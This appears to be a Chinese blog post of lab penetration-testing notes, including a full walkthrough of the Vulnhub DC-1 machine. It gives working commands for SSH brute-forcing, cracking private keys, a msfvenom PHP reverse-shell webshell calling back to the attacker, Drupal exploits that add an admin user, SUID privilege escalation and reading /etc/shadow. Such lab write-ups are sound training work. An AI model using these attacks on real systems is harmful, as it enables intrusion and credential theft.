入侵开放22端口的靶机
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了入侵开放22端口的靶机相关的知识,希望对你有一定的参考价值。
参考技术A本人笔记,仅供参考
相关靶机:
链接:https://pan.baidu.com/s/1zjh53oOhmVCa8U-6_C_UjQ
提取码:qd32
渗透分析:
对于开启ssh服务的22端口的靶场优先考虑
1.暴力破解
2.私钥泄露
对于开放http服务的80端口或者其他端口的靶场优先考虑(特别注意大于1024的端口)
1.通过浏览器访问对应靶场http服务如http://ip地址:端口号
2.使用探测工具对http的目录进行探测,如dirb http://ip地址:端口号
挖掘敏感信息:
使用浏览器对靶场IP的http服务探测,对页面中展示的内容也要注意,尤其是联系人等信息(有可能就是ssh的用户名信息), 递归访问,力争把每一个dirb扫描到的目录页面都访问查看;
尤其对robots.txt、以及一些目录进行访问,挖掘具备利用价值的信息。对于开放ssh服务的靶场,务必要注意是否可以寻找到ssh私钥信息(id_ rsa);
对于某些靶场,也可以使用nikto扫描器来挖掘敏感信息;
-- nikto -host靶场IP地址
特别注意config等特殊敏感文件,要细读扫描的结果。挖掘可以利用的敏感信息;
登录服务器之后,我们需要做以下操作。
1、查看当前用户whoami .
2、id 查看当前用户的权限
3、查看根目录寻找flag文件
如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一
般情况下,flag文件只属于root用户和对应的用户组:
cat /etc/passwd查看所有用户的列装
cat /etc/group查看用户组
find / -user用户名查看属于某些用户的文件
/tmp查看缓冲文件目录
深入挖掘
通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roor权限。不同的用户都可以有不同的定时任务
cat /etc/crontab挖掘其他用户是否有定时任务,并查看对应的任务内容。执行的任务肯定对应靶场机器的某个文件。
如果在/etc/crontab下有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
如果有定时执行的文件,可以切换到对应的目录,查看对应的权限,查看当前用户是否具有读写权限。
万不得已的时候只能对ssh服务进行暴力破解。破解最后一个
用户名。破解工具如hydra、medusa等;
利用cupp创建字典
git clone https://github/jeanphorn/common-password.git
chmod +x cupp.py
./cupp.py -i以交互的方式创建字典
输入用户名然后一直回车到Do you want to add some random numbers at the end of words?输入yes其他全部no此时创建完成
之后推荐用metasploit破解ssh
在终端中输入
msfconsole
msf > use auxiliary/scaner/ssh/ssh_ login(使用该模块)
set rhosts 192.168.56.103(确定ip地址)
set username 用户名(破解的用户名)
set pass_ file 用户名.txt(刚刚创建的字典)
set threads 5(输入线程)
Run(进攻)
此时破解出密码例如123
直接连接,如果出现问题可以重启msfconsole,启用该模块后
set rhosts 192.168.56.103 (连接远程主机)
set username hadi(用户名)
Set password 123(密码)
Run
界面简陋就使用python优化界面
Python -c “import pty;pty.spawn(‘/bin/bash’)”(优化界面)
此时可以把自己权限提升到root:
su - root
回到根目录ls打开flag文件
Ssh秘钥泄露
解密Ssh秘钥信息(以秘钥名id_isa举例)
Chmod 600 id_isa(赋予is_isa可读可写权限)
ssh2john id_isa > isacrack (就是用ssh2john把秘钥里的东西转换成john可识别的)
Zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacracks(利用rockyou字典解出所需要的东西)
制作webshell
msfvenom -p php/meterpreter/reverse_tcp Ihost=攻击机IP地址Iport=4444 -f raw > /root/Desktop/shell.php
启动监听
msf > use exploit/multi/handler
msf exploit(handler) > set payload php/meterpreter/reverse_tcp
Weoshell
msf exploit(handler) > set Ihost攻击机IP地址
msf exploit(handler) > set lport 4444
msf exploit(handler)> run
上传Webshell
使用找到的敏感信息登录系统后台,上传webshell。 执行
webshel(访问具有webshell的php页面)
获得反弹的shell
--
wordpress.上传点theme 404.php
执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404.php
DC-1 Vulnhub
这个靶机一共有5个flag,全部找到就能通关。
因不知道DC-1靶机的IP,所有我们需要将靶机和kali放在同一个局域网里面,使用桥接模式,先探测DC-1的主机IP地址。
nmap -sP 192.168.1.0/24
拿到靶机的IP地址192.168.1.7
接着探测靶机开放了哪些端口。
nmap -sV -p- 192.168.1.7
可以看到开放了22 80 111三个端口
访问80端口。拿到一个Drupal CMS建的站。查看详细的信息
whatweb 192.168.1.7
得到CMS的版本信息是Drupal 7
那么我们可以用msf搜索CMS的漏洞
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2 //选择一个漏洞利用。
show options //查看需要设置的参数
set RHOSTS 192.168.1.7 //设置参数
exploit //攻击
成功的建立会话。
进入系统的shell
但是这里并不是交互的shell,所以我们要进入交互式的shell。
使用python的pty反弹一个交互式shell。
python -c "import pty;pty.spawn(‘/bin/bash‘)"
列一下当前的文件,拿到flag1.txt文件。
提示我们每一个CMS都有一个配置文件。我们快可以百度一下Drupal CMS 配置文件所在路径,Drupal的默认配置文件为 /var/www/sites/default/settings.php。
cd sites/default
ls
cat settings.php
拿到flag2.txt文件。提示:字典爆破攻击不是获得访问权限的唯一方式(你需要拿到访问权限)这个应该是和dc-1主机密码有关系吧。
同时flag.txt还给出了数据库的账号密码
进入数据库查看。
mysql -u dbuser -p
use drupaldb
show tables;
select * from users;
我们可以发现admin用户。在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便破解admin的密码,
cat /var/www/includes/bootstrap.inc | grep VERSION
可以得到CMS版本为7.24,该漏洞在7.31版本之下都适用。
下面搜索这个漏洞
msf5 > searchsploit drupal
利用漏洞
kali@kali:~/Desktop$ python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.7 -u admin1 -p admin1
成功添加了一个admin1/admin1用户
用新添加的账号密码登录。拿到flag3
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来确定如何获取隐藏的内容。
在.etc/passwd中发现了flag4
从信息中可以看出存在/home/flag4目录,拿到lfag4.txt。同时提示我们去找到root权限下的flag。那么拿到最后的flag需要提权了,www-data的权限显然不够。
使用suid提权,找到一个属于root的有s权限的文件
www-data@DC-1:/$ find / -user root -perm 4000 -print 2>/dev/null
www-data@DC-1:/$ find / -perm -u=s -type f 2>/dev/null
查看find是否具有root权限。
cd /usr/bin
ls -l find
find 具有root权限
www-data@DC-1:/usr/bin$ mkdir test
www-data@DC-1:/usr/bin$ find test -exec ‘/bin/sh‘ ;
成功提权到root权限。
寻找在root权限下的flag。
cd /root
ls
cat thfinalflag.txt
5个flag都拿到手了。
flag是拿到手了,但是dc-1主机的密码一直没有拿到。我们可以用我们拿到的root权限去获取主机的密码。
# cd /etc
# cat shadow
按flag2.txt的提示,应该可以爆破出来吧。
自己并没有爆破出来,看wp知道密码是orange。把orange加到字典里成功爆破,哈哈哈哈。。
该靶机涉及到的一些点:
1、nmap 常用命令参数
nmap 主机名/IP地址 //扫描主机,加上-v参数可以获取更多细节
nmap 192.168.1.* //使用通配符扫描整个子网
nmap -iL nmaptest.txt //使用-iL参数批量扫描nmaptest.txt中列出的主机名和IP地址
nmap 192.168.1.* --exclude 192.168.1.8 //扫描整个子网,除去192.168.1.8这个地址
nmap -sA 192.168.1.7 //扫描主机是否使用滤包器和防火墙
nmap -sP 192.168.1.* //扫描某一网段在线的主机
nmap -V //查看nmap版本
nmap -p 80-160 192.168.1.7 //扫描某一主机的某一范围的端口
nmap -sV 192.168.1.7 //查询出在远程服务器的服务版本
nmap -sS 192.168.1.7 //执行一个秘密的扫描
2、Python一句话反弹shell
python -c "import pty;pty.spawn(‘/bin/bash‘)"
更多的反弹shell 的方法可以参考https://www.anquanke.com/post/id/87017
3、Linux下一些敏感目录
/etc/passwd # 账户信息
/etc/shadow # 账户密码文件
/usr/local/app/apache2/conf/httpd.conf # Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf # 虚拟网站配置
/usr/local/app/php5/lib/php.ini # PHP 配置文件
/etc/httpd/conf/httpd.conf # Apache 配置文件
/etc/my.conf # MySQL 配置文件
4、find提权
原理:如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。参考链接 https://www.anquanke.com/post/id/86979
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
以上是关于入侵开放22端口的靶机的主要内容,如果未能解决你的问题,请参考以下文章